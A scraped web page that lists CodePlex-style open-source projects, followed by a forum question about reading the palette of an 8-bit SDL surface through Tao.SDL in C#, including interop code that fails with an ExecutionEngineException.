XLS, (...SharePoint Labs: SPLab3001A-FRA-Level200: SPLab3001A-FRA-Level200 This SharePoint Lab will teach the persistence object layer that SharePoint uses to centraly store configuration data and o...TTXPathNavigator: TTXPathNavigator for VS2010: Version for Visual Studio 2010turing machine simulator: SDS: SDS documentVecDraw: VecDraw_0.2.25: Alpha release for test purposesWinForm SharePoint Web Part Manager: Beta 1: First release of the WinForm SharePoitn web part manager toolXrns2XMod: Xrns2XMod 0.5.1: Mod and XM conversion format - No sample data conversion at momentZip Solution: ZipSolution 5.3: Features: 1. Added WaitMsec for visual studio support with getting access to files in post build event; 2. Added ShowTextInToolbars to app.config ...Most Popular ProjectsRawrWBFS ManagerAJAX Control ToolkitMicrosoft SQL Server Product Samples: DatabaseSilverlight ToolkitWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesPHPExcelpatterns & practices – Enterprise LibraryMost Active ProjectsRawrpatterns & practices – Enterprise LibraryGMap.NET - Great Maps for Windows Forms & PresentationFarseer Physics EngineIonics Isapi Rewrite FilterNB_Store - Free DotNetNuke Ecommerce Catalog ModuleBlogEngine.NETjQuery Library for SharePoint Web ServicesDotRasFacebook Developer Toolkit

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How can I get the palette of an 8-bit surface in SDL.NET/Tao.SDL?

- by lolmaster

I'm looking to get the palette of an 8-bit surface in SDL.NET if possible, or (more than likely) using Tao.SDL. This is because I want to do palette swapping with the palette directly, instead of blitting surfaces together to replace colours like how you would do it with a 32-bit surface. I've gotten the SDL_Surface and the SDL_PixelFormat, however when I go to get the palette in the same way, I get a System.ExecutionEngineException: private Tao.Sdl.Sdl.SDL_Palette GetPalette(Surface surf) { // Get surface. Tao.Sdl.Sdl.SDL_Surface sdlSurface = (Tao.Sdl.Sdl.SDL_Surface)System.Runtime.InteropServices.Marshal.PtrToStructure(surf.Handle, typeof(Tao.Sdl.Sdl.SDL_Surface)); // Get pixel format. Tao.Sdl.Sdl.SDL_PixelFormat pixelFormat = (Tao.Sdl.Sdl.SDL_PixelFormat)System.Runtime.InteropServices.Marshal.PtrToStructure(sdlSurface.format, typeof(Tao.Sdl.Sdl.SDL_PixelFormat)); // Execution exception here. Tao.Sdl.Sdl.SDL_Palette palette = (Tao.Sdl.Sdl.SDL_Palette)System.Runtime.InteropServices.Marshal.PtrToStructure(pixelFormat.palette, typeof(Tao.Sdl.Sdl.SDL_Palette)); return palette; } When I used unsafe code to get the palette, I got a compile time error: "Cannot take the address of, get the size of, or declare a pointer to a managed type ('Tao.Sdl.Sdl.SDL_Palette')". My unsafe code to get the palette was this: unsafe { Tao.Sdl.Sdl.SDL_Palette* pal = (Tao.Sdl.Sdl.SDL_Palette*)pixelFormat.palette; } From what I've read, a managed type in this case is when a structure has some sort of reference inside it as a field. The SDL_Palette structure happens to have an array of SDL_Color's, so I'm assuming that's the reference type that is causing issues. However I'm still not sure how to work around that to get the underlying palette. So if anyone knows how to get the palette from an 8-bit surface, whether it's through safe or unsafe code, the help would be greatly appreciated.

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